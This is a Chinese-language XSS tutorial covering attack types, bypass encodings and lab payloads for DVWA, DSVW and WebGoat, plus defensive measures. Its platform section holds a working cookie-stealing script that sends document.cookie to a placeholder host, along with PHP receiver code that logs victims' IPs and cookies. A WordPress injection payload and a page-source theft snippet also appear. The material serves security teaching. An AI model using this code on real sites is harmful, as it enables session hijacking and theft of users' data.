[红日安全]Web安全Day2 - XSS跨站实战攻防
字数 1511 2025-08-18 11:38:53
XSS跨站脚本攻击实战攻防指南
1. XSS漏洞基础理论
1.1 漏洞定义
跨站脚本攻击(XSS)是指攻击者通过在Web页面中注入恶意脚本,当用户浏览该页面时,控制用户浏览器执行恶意操作的攻击方式。
1.2 XSS分类及原理
反射型XSS
- 非持久型攻击
- 通过URL构造恶意代码
- 需要诱骗用户点击恶意链接
- 主要利用GET请求提交恶意代码
存储型XSS
- 持久型攻击
- 恶意代码存储在服务器数据库
- 常见于留言板、论坛评论等
- 每次访问都会触发恶意代码
DOM型XSS
- 特殊反射型XSS
- 通过修改DOM结构实现攻击
- 不依赖服务器响应
- 完全在客户端执行
1.3 XSS危害
- 盗取用户Cookie
- 发起XSS蠕虫攻击
- 钓鱼攻击
- 获取用户敏感信息
- 控制用户浏览器行为
1.4 常用XSS攻击向量
<script>alert(/xss/);</script>
<BODY ONLOAD=alert('XSS')>
<svg onload=alert(1)>
<a href=javascript:alert(1)>
1.5 XSS绕过技术
JS编码绕过
- 八进制编码:\xxx
- 十六进制编码:\xXX
- Unicode编码:\uXXXX
HTML实体编码
- 格式:&[编码];
- 如:<script>
URL编码
- 使用%加十六进制数
- 如:%27表示单引号
2. XSS实战测试方法
2.1 DVWA靶场测试
环境搭建
- 下载DVWA:https://github.com/ethicalhack3r/DVWA
- 使用PHPStudy搭建
- 修改config.inc.php配置文件
- 默认账号:admin/password
Low级别测试
- DOM型XSS:
</option></select>
- 反射型XSS:
<script>alert(document.cookie)</script>
Medium级别测试
- DOM型XSS:同Low级别
- 反射型XSS(绕过script过滤):
<sc<script>ript>alert(document.cookie)</script>
High级别测试
- DOM型XSS(使用锚点绕过):
English##<script>alert(document.cookie)</script>
- 反射型XSS(不使用script标签):
2.2 DSVW靶场测试
- 反射型XSS:
<script>alert(/xss aixi/)</script>
- 存储型XSS:同上
- DOM型XSS:
?##lang=<script>alert(/xss%20aixi/)</script>
2.3 XSS平台搭建
BlueLotus_XSSReceiver
- 环境要求:Apache2 + PHP7
- 下载地址:https://github.com/firesunCN/BlueLotus_XSSReceiver
- 部署步骤:
- 解压到www根目录
- 设置权限
- 访问admin.php进行安装
- 设置后台密码
简易XSS平台
- 攻击脚本:
var img = document.createElement("img");
img.src = "http://xxx/x.php?cookie="+document.cookie;
document.body.appendChild(img);
- 接收端PHP代码:
<?php
$victim = 'XXS得到的 cookie:'. $_SERVER['REMOTE_ADDR'].': '.$_GET['cookie']."\r\n\r\n";
echo htmlspecialchars($_GET['cookie']);
$myfile = fopen("/aixi/XSS/xss_victim.txt", "a");
fwrite($myfile, $victim);
?>
3. 高级XSS攻击技术
3.1 XSS蠕虫
- 结合CSRF实现传播
- 自动复制恶意代码
- 几何级数扩散
3.2 内网渗透
- 通过XSS发起内网SQL注入
- 获取内网IP信息
- 内网服务探测
3.3 邮件通知
- 配置邮件提醒功能
- 实时获取受害者信息
3.4 页面源码窃取
function createXmlHttp() {
if (window.XMLHttpRequest) {
xmlHttp = new XMLHttpRequest()
} else {
var MSXML = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP');
for (var n = 0; n < MSXML.length; n++) {
try {
xmlHttp = new ActiveXObject(MSXML[n]);
break
} catch(e) {}
}
}
}
createXmlHttp();
xmlHttp.onreadystatechange = writeSource;
xmlHttp.open('GET', '{set.filename}', true);
xmlHttp.send(null);
4. XSS防御措施
4.1 输入过滤
- 过滤特殊字符:' " < > on* 等
- 使用白名单机制
- 正则表达式检测
4.2 输出编码
- HTML实体编码
- JavaScript编码
- URL编码
4.3 安全HTTP头
- Content-Security-Policy
- X-XSS-Protection
- HttpOnly Cookie
4.4 PHP防御函数
htmlspecialchars()
mysql_real_escape_string()
addslashes()
5. 实战案例
5.1 WebGoat靶场
- DOM型XSS:
start.mvc##test/<script>alert(document.cookie)
- 存储型XSS:
<script>alert(document.cookie)</script>
5.2 WordPress漏洞利用
- UTF8截断漏洞
- 关闭MySQL strict mode
- 分片注入攻击代码:
<abbr title="qweqw style=display:block;position:fixed;width:100%;height:100%;top:0; onmouseover=alert(1)//
6. 工具推荐
6.1 BruteXSS
- GitHub地址:https://github.com/ym2011/penetration
- 自动化XSS检测
6.2 XSSer
- Kali自带工具
- 安装命令:
sudo apt-get install python-pycurl python-xmlbuilder python-beautifulsoup python-geoip
7. 总结
XSS攻击形式多样,防御需要从输入过滤、输出编码、安全配置等多方面入手。通过靶场实践可以深入理解XSS原理及防御方法,提高Web应用安全性。